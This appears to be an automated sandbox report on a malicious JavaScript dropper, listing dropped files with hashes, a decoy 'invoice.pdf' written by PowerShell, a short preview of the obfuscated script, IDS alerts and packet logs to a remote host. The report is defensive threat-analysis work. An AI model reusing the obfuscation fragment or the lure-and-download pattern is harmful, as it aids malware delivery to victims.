SHA-256:	58C295021C3991476FE29E587F0D1711AE32702515F0DAECE25EC4509B38E2DC
SHA-512:	4EF05E78F1E7F3A1AED51601EB1DAC0885369DA63E530574B8562FEF1E9A22B9BCE82D0C18FF3EB30260963478204A0560E76BA3BAFDE5B8E4FFF7A4589B0A08
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0fe1b1bd-c692-49ce-9666-aa1c60b35f31.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\841be881-29d5-4bfd-83f2-bb899ed45a32.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8666010e-52b5-495f-a649-7d67d930ab89.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e7fa9b39-8c37-4964-9378-418604fa1414.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xLtwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JJwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	D38CB76360DDA78820460E5C5F20061C
SHA1:	F2B65831130B70F2A3DC345F70C4BEEDE9AB40E8
SHA-256:	55E70B5D5F8BE28D648BCDFE7DEB02BF4BBE2F626D620D4D838E0FA4FBF45F8E
SHA-512:	5E31738169A6FE92062B0E582489DEEAC2FA1798965DED94EFA994965470A15B5095851701E4DF631C5EC4454913272F1156EC46B32DA782D3C0F9E490C129A1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15572), with CRLF line terminators
Entropy (8bit):	4.889857059891123
TrID:
File name:	37422659297833858.js
File size:	19'197 bytes
MD5:	3c8dbd65993f632e302f7eae17159910
SHA1:	3409ec8b8438233c45e354661180086efe410c51
SHA256:	9774d846b2ddae21b57b307b785be82c3b26411be5c4b7d5d44394207294c740
SHA512:	505232d38dceb2a17e82f3a7dbf5596464c703493d82577d01056c85eccade3f7187435f3e113170b0c786fb918f79ebef97e5aa5e29237c968c9aeb4d337e0f
SSDEEP:	384:5RA656zqOwp1IwOIUJHCIYEi7IeO5dgNJ80XFUi:Q6ZOwp1hPIY9J80XFD
TLSH:	D08277EC8D48C08547F4B4E0B5DA90DE3AEE6088CAD247CD112E15F122E9DCBB6E5779
File Content Preview:	function eatlz(){axjavm=[1031,3079,5127,4103,2055,3072];var kovlcrgsk=this[okabk+lqobsgw+oohozig+tjkqwmct+gqyfdfws+cxbho+hoygott+fafqcixc](this[sbwhyb+hugqntka+mxhqiycva+oohozig+ctqzbos+okabk+fafqcixc][evnhidn+oohozig+gqyfdfws+lqobsgw+fafqcixc+gqyfdfws+dk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:57:11.700753+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49705	193.143.1.205	80	TCP
2025-01-10T21:57:14.438477+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49720	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:57:10.895121098 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:10.899945974 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:10.900090933 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:10.903465986 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:10.908205032 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700572014 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700598001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700615883 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700685024 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700710058 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700728893 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700742006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700752974 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.700753927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700752974 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.700761080 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700773001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.700831890 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.700831890 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.700831890 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.705575943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.705585957 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.706075907 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.957865000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.957885981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.957896948 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.957948923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.957993031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958039045 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.958590031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958616018 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958621979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958626032 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958626986 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958631992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958637953 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958686113 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.958686113 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.958756924 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958775043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958787918 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958800077 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958813906 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958826065 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958837986 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958841085 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.958851099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958863974 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958878040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.958898067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.958899975 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958911896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958925962 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.958935976 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.959009886 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.962543964 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.962587118 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.962892056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.962908983 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.962920904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.962932110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.962944984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.962991953 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.962991953 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.963536978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.963589907 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.963603973 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.963614941 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.963628054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.963638067 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.963665962 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.963715076 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.964425087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.964436054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.964446068 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.964457035 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.964468956 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.964487076 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.964498997 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.965261936 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.965274096 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.965286016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.965296984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.965310097 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.965351105 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.965351105 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.965351105 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.966115952 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.966134071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.966145992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.966162920 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.966175079 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.966191053 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.966202021 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.966995001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967012882 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967025042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967030048 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.967036009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967048883 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967051983 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.967088938 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.967833042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967902899 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967915058 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967926979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967940092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.967968941 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.967968941 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.968761921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.968772888 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.968785048 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.968796968 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.968808889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.968820095 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.968820095 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.969542027 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.969609022 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.969616890 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.969629049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.969640017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.969651937 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.969733000 CET	49705	80	192.168.2.10	193.143.1.205
